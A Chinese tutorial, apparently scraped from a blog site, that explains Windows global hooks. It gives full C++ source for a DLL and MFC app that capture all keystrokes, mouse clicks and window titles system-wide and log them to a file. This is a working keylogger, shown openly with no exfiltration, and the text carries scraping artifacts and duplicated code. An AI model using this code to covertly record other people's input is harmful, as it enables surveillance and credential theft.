監控程序的實現?
???? 我們發現一些木馬或其他病毒程序常常會將我們的鍵盤或鼠標的操作消息記錄下來然后再將它發到他們指定的地方以實現監聽.這種功能其他是利用了全局鉤子將鼠標或鍵盤消息進行了截取,從而獲得了操作的消息.要得到鼠標和鍵盤的控制權,我們要用SetWindowsHookEx這個函數:?
HHOOK SetWindowsHookEx(?
?? int idHook,??????? // type of hook to install?
?? HOOKPROC lpfn,???? // address of hook procedure?
?? HINSTANCE hMod,??? // handle to application instance?
?? DWORD dwThreadId?? // identity of thread to install hook for?
);?
? ? ? ? 其中idHook是要安裝的鉤子標識即鉤子的類型,lpfn是鉤子函數的消息處理過程,hMod是應用程序的實例句柄,dwThreadId是要為哪個線程安裝鉤子.如果它為0則為全部線程都安裝鉤子,即為全局鉤子.這就是獲得全部應用程序消息控制權的開始.我們安裝的鉤子類型有很多種主要是下面的:?
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBTWH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER?
? ? ? ?其中WH_MOUSE是鼠標鉤子,WH_KEYBOARD是鍵盤鉤子.?
不同的鉤子對應不同的鉤子過程,鉤子過程的寫法(以鍵盤鉤子過程為例)是:?
LRESULT CALLBACK MouseProc(?
?? int nCode,????? // hook code?
?? WPARAM wParam,? // message identifier?
?? LPARAM lParam?? // mouse coordinates?
);?
鉤子過程的名字是沒關系的.?
要取消鉤子的安裝可以用UnhookWindowsEx:?
BOOL UnhookWindowsHookEx(?
?? HHOOK hhk?? // handle to hook procedure to remove?
);
? ? ? 下面要介紹一下如何讓每個應用程序要安裝上鉤子函數,要讓每個應用程序都安裝上鉤子要用到動態鏈接庫的知識,利用動態鏈接庫加載到每個應用程序中.?
? ? ? ?我們首先用VC6.0新建一個WINDOWS動態鏈接庫的空工程,新建一個頭文件為了動態鏈接庫本身和使用動態鏈接庫的應用程序也能用,我們定義好導入導出宏和自定義消息以及要導入和導出的函數的定義:?
//HookDll.h?
// 定義函數修飾宏,方便引用本DLL工程的導出函數?
#ifdef KEYHOOKLIB_EXPORTS?
#define KEYHOOKLIB_API ?__declspec(dllexport)???????????????? //導出宏?
#else?
#define KEYHOOKLIB_API ?__declspec(dllimport)?????????????? //導入宏?
#endif?
? ? ? ?// 自定義與主程序通信的消息?
#define HM_KEY WM_USER + 101?????????????????? //自定義鍵盤消息?
#define HM_MOUSE WM_USER +102?????????????? //自定義鼠標消息?
? ? ? ?// 聲明要導出的函數?
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall,?
?????????? DWORD dwThreadId = 0, HWND hWndCaller = NULL);?
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall,?
?????????? DWORD dwThreadId = 0, HWND hWndCaller = NULL
? ? ?下面再新建一個C++源文件HookDll.cpp:?
我們先包含<windows.h>頭文件?
再定義#define KEYHOOKLIB_EXPORTS讓包含"HookDll.h"的時候,我們使用的是導出宏,?
#include "HookDll.h"?
#pragma data_seg("YCIShared")?
? ? ? ?HWND g_hWndCaller = NULL; // 保存主窗口句柄?
? ? ? ?HHOOK g_hHook = NULL;?? // 保存鉤子句柄?
? ? ? ?HHOOK g_hMouseHook=NULL;?
#pragma data_seg()?
? ? ? ?我們上面定義了共享的全局窗口句柄和全局的鉤子標識,是為了所有應用程序都共享這三個變量.?
下面是鉤子函數的實現代碼:?
[cpp] view plaincopy print?
HMODULE?WINAPI?ModuleFromAddress(PVOID?pv)???{?????????MEMORY_BASIC_INFORMATION?mbi;????????if(::VirtualQuery(pv,?&mbi,?sizeof(mbi))?!=?0)????????{?????????????return?(HMODULE)mbi.AllocationBase;????????}????????else???????{????????????return?NULL;???????}???}???LRESULT?CALLBACK?KeyHookProc(int?nCode,?WPARAM?wParam,?LPARAM?lParam)??{????????if(nCode?<?0?||?nCode?==?HC_NOREMOVE)?????????????return?::CallNextHookEx(g_hHook,?nCode,?wParam,?lParam);???????if(lParam?&?0x40000000)???????{??????????return?::CallNextHookEx(g_hHook,?nCode,?wParam,?lParam);???????}????????????::PostMessage(g_hWndCaller,?HM_KEY,?wParam,?lParam);?????????return?::CallNextHookEx(g_hHook,?nCode,?wParam,?lParam);???}???BOOL?WINAPI?SetKeyHook(BOOL?bInstall,?DWORD?dwThreadId,?HWND?hWndCaller)??{???????BOOL?bOk;???????g_hWndCaller?=?hWndCaller;??????if(bInstall)??????{??????????g_hHook?=?::SetWindowsHookEx(WH_KEYBOARD,?KeyHookProc,??????????ModuleFromAddress(KeyHookProc),?dwThreadId);???????????????????????bOk?=?(g_hHook?!=?NULL);??????}??????else??????{??????bOk?=?::UnhookWindowsHookEx(g_hHook);??????g_hHook?=?NULL;??????}?????return?bOk;???}???LRESULT?CALLBACK?MouseProc(int?nCode,?WPARAM?wParam,?LPARAM?lParam)??{??????if(nCode?<?0?||?nCode?==?HC_NOREMOVE)??????return?::CallNextHookEx(g_hMouseHook,?nCode,?wParam,?lParam);??????::PostMessage(g_hWndCaller,?HM_MOUSE,?wParam,?lParam);?????return?::CallNextHookEx(g_hMouseHook,?nCode,?wParam,?lParam);???}???BOOL?WINAPI?SetMouseHook(BOOL?bInstall,?DWORD?dwThreadId,?HWND?hWndCaller)???{??????BOOL?bOk;??????g_hWndCaller?=?hWndCaller;??????if(bInstall)??????{??????????g_hMouseHook?=?::SetWindowsHookEx(WH_MOUSE,?MouseProc,??????????ModuleFromAddress(MouseProc),dwThreadId);????????????bOk?=?(g_hMouseHook?!=?NULL);??????}??????else?????{??????????bOk?=?::UnhookWindowsHookEx(g_hMouseHook);??????????g_hMouseHook?=?NULL;?????}????????return?bOk;???}??? HMODULE WINAPI ModuleFromAddress(PVOID pv) //獲得鉤子函數的地址
{ MEMORY_BASIC_INFORMATION mbi; if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0) { return (HMODULE)mbi.AllocationBase; } else { return NULL; }
}
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 鍵盤鉤子函數消息過程
{ if(nCode < 0 || nCode == HC_NOREMOVE) return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);if(lParam & 0x40000000) // 消息重復就交給下一個hook鏈 { return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); }// 通知主窗口。wParam參數為虛擬鍵碼, lParam參數包含了此鍵的信息 ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam); //發送自定義鍵盤消息 return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安裝、卸載鉤子的函數
{ BOOL bOk; g_hWndCaller = hWndCaller;if(bInstall) { g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, ModuleFromAddress(KeyHookProc), dwThreadId); //安裝鍵盤鉤子 bOk = (g_hHook != NULL); } else { bOk = ::UnhookWindowsHookEx(g_hHook); g_hHook = NULL; }return bOk;
}
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠標鉤子處理過程
{ if(nCode < 0 || nCode == HC_NOREMOVE) return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); ::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//發送自定義鼠標消息 return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{ BOOL bOk; g_hWndCaller = hWndCaller; if(bInstall) { g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc, ModuleFromAddress(MouseProc),dwThreadId); //安裝鼠標鉤子 bOk = (g_hMouseHook != NULL); } else { bOk = ::UnhookWindowsHookEx(g_hMouseHook); g_hMouseHook = NULL; } return bOk;
}
最后再在工程目錄下建一個HookDll.def模塊定義文件.寫上以下代碼?
LIBRARY HookDll?
EXPORTS???????? //指明導出函數名稱?
?? SetKeyHook?
?? SetMouseHook?
SECTIONS?????? //指明共享字段?
?? YCIShared?? Read Write Shared?
? ? ? ? 用了模塊定義文件時,在使用動態鏈接庫的時間就可以直接用函數名調用函數了,否則將無法找到函數.其實用模塊定義文件是為了不讓動態鏈接庫發生名字改編.
? ? ? ?有了動態鏈接庫后我們還需要用一個應用程序來設置和記錄我們的鼠標和鍵盤記錄.?
? ? ? ?我們新建一個基于對話框的MFC應用程序工程HookApp.我們首先為我們的自定義消息添加所需消息響應的實現代碼.?
? ? ? 在對話框類的頭文件的protected下面的注釋宏中間加入?
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam);?
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam);?
? ? ? 指明消息處理函數,然后在對話框類的源文件中的?
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog)?
和END_MESSAGE_MAP之間加入下面的代碼?
? ? ?ON_MESSAGE(HM_KEY,onHookKey)?
? ? ?ON_MESSAGE(HM_MOUSE,onHookMouse)?
定義好后在源文件中寫其實現函數:?
[cpp] view plaincopy print?
long?CHookAppDlg::OnHookKey(WPARAM?wParam,?LPARAM?lParam)???{????????????????????????????????????char?szKey[80];???????????::GetKeyNameText(lParam,?szKey,?80);??????????????CString?strItem;????????????strItem.Format("用戶按鍵:%s",?szKey);?????????????CListBox?*pListCtrl=((CListBox?*)this->GetDlgItem(IDC_LIST1));????????????pListCtrl->InsertString(-1,strItem);???????????CFile?MyFile;???????????char?*content;???????????if(!MyFile.Open(this->MyDocumentDir,????????????????CFile::modeRead?|?CFile::modeWrite))??????????{????????????????????MyFile.Open(this->MyDocumentDir,???????????????????????????????CFile::modeCreate);???????????????????return?0;?????????}?????????MyFile.SeekToEnd();?????????????????????????pListCtrl->GetText(pListCtrl->GetCount()-1,strItem);?????????content=strItem.GetBuffer(MAX_PATH);??????????MyFile.Write(content,strItem.GetLength());??????????CTime?today=CTime::GetCurrentTime();??????????CString?str=today.Format("/t/t%Y年%m月%d日?%H:%M:%S/r/n");?????????MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength());?????????MyFile.Close();????????return?0;???}???long?CHookAppDlg::OnHookMouse(WPARAM?wParam,?LPARAM?lParam)???{???LPMOUSEHOOKSTRUCT?pMouseHook=(MOUSEHOOKSTRUCT?FAR?*)lParam;???CString?strItem,strText;????????CListBox?*pListCtrl=((CListBox?*)this->GetDlgItem(IDC_LIST1));???CPoint?point;???::GetCursorPos(&point);???ClientToScreen(&point);???CWnd?*pWnd=CWnd::GetForegroundWindow();???if(pWnd)???{??????char?str[80];??????pWnd->GetWindowText(str,80);??????strText.Format("窗口:%s",str);???}???CString?str;?????????????????if(wParam==WM_RBUTTONDOWN)??????{???????????????str.Format("???右鍵單擊:位置?X=%d,Y=%d",point.x,point.y);???????????????strText+=str;???????????????pListCtrl->InsertString(-1,strText);??????????????this->SaveToFile(strText,pListCtrl);?????}???if(wParam==WM_LBUTTONDBLCLK)???{????????ScreenToClient(&point);??????str.Format("???左鍵雙擊:位置?X=%d,Y=%d",point.x,point.y);??????strText+=str;??????pListCtrl->InsertString(-1,strText);??????this->SaveToFile(strText,pListCtrl);???}???if(wParam==WM_LBUTTONDOWN)???{??????str.Format("???左鍵單擊:位置?X=%d,Y=%d",point.x,point.y);???????????strText+=str;??????pListCtrl->InsertString(-1,strText);??????this->SaveToFile(strText,pListCtrl);???}???return?0;???}???void?CHookAppDlg::SaveToFile(CString?strText,CListBox?*pListCtrl)???{???char?*content;????????CFile?MyFile;???if(!MyFile.Open(this->MyDocumentDir,??????CFile::modeRead?|?CFile::modeWrite))???{??????MyFile.Open(this->MyDocumentDir,??????CFile::modeCreate);??????pListCtrl->InsertString(-1,"失敗");??????return;???}???MyFile.SeekToEnd();???content=strText.GetBuffer(strText.GetLength());???MyFile.Write(content,strText.GetLength());???CTime?today=CTime::GetCurrentTime();???CString?strTime=today.Format("/t/t%Y年%m月%d日?%H:%M:%S/r/n");???MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength());???MyFile.Close();???}??? long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam)
{ // 此時參數wParam為用戶按鍵的虛擬鍵碼, // lParam參數包含按鍵的重復次數、掃描碼、前一個按鍵狀態等信息 char szKey[80]; ::GetKeyNameText(lParam, szKey, 80); //獲得按鍵名 CString strItem; strItem.Format("用戶按鍵:%s", szKey); CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); pListCtrl->InsertString(-1,strItem); CFile MyFile; char *content; if(!MyFile.Open(this->MyDocumentDir, CFile::modeRead | CFile::modeWrite)) { MyFile.Open(this->MyDocumentDir, CFile::modeCreate); return 0; } MyFile.SeekToEnd(); //移動記錄指針到末尾 pListCtrl->GetText(pListCtrl->GetCount()-1,strItem); content=strItem.GetBuffer(MAX_PATH); MyFile.Write(content,strItem.GetLength()); CTime today=CTime::GetCurrentTime(); CString str=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n"); MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength()); MyFile.Close(); return 0;
}
long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam;
CString strItem,strText; CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
CPoint point;
::GetCursorPos(&point);
ClientToScreen(&point);
CWnd *pWnd=CWnd::GetForegroundWindow();
if(pWnd)
{ char str[80]; pWnd->GetWindowText(str,80); strText.Format("窗口:%s",str);
}
CString str;
/*CString tempstr;
// ClientToScreen(&pMouseHook->pt); int x,y; x=pMouseHook->pt.x; y=pMouseHook->pt.y; tempstr.Format("X=%d,Y=%d",x,y); strText+=tempstr;*/ if(wParam==WM_RBUTTONDOWN) { str.Format(" 右鍵單擊:位置 X=%d,Y=%d",point.x,point.y); strText+=str; pListCtrl->InsertString(-1,strText); this->SaveToFile(strText,pListCtrl); }
if(wParam==WM_LBUTTONDBLCLK)
{ ScreenToClient(&point); str.Format(" 左鍵雙擊:位置 X=%d,Y=%d",point.x,point.y); strText+=str; pListCtrl->InsertString(-1,strText); this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDOWN)
{ str.Format(" 左鍵單擊:位置 X=%d,Y=%d",point.x,point.y); //MessageBox(strText); strText+=str; pListCtrl->InsertString(-1,strText); this->SaveToFile(strText,pListCtrl);
}
return 0;
}
void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl)
{
char *content; CFile MyFile;
if(!MyFile.Open(this->MyDocumentDir, CFile::modeRead | CFile::modeWrite))
{ MyFile.Open(this->MyDocumentDir, CFile::modeCreate); pListCtrl->InsertString(-1,"失敗"); return;
}
MyFile.SeekToEnd();
content=strText.GetBuffer(strText.GetLength());
MyFile.Write(content,strText.GetLength());
CTime today=CTime::GetCurrentTime();
CString strTime=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength());
MyFile.Close();
}
上面的代碼就是實現將鼠標消息和鍵盤消息的操作消息添加到一個列表框中和記錄到一個文件上的代碼.其中this->MyDocumentDir是你要將操作消息記錄到的文件路徑.
在對話框初始化的時候
if(!SetKeyHook(TRUE,0, m_hWnd))
?? MessageBox("安裝鉤子失敗!");
if(!SetMouseHook(TRUE,0, m_hWnd))
?? MessageBox("安裝鉤子失敗!");
最后在
void CHookAppDlg::OnDestroy()?
{
::SetKeyHook(FASLE);//取消安裝鉤子
::SetMouseHook(FALSE);//取消安裝鉤子
}
? ? ? ? ?這是鼠標和鍵盤消息的監聽代碼,你也可以為應用程序安裝其他類型的鉤子.
總結
以上是生活随笔為你收集整理的Windows 全局钩子 Hook 详解的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。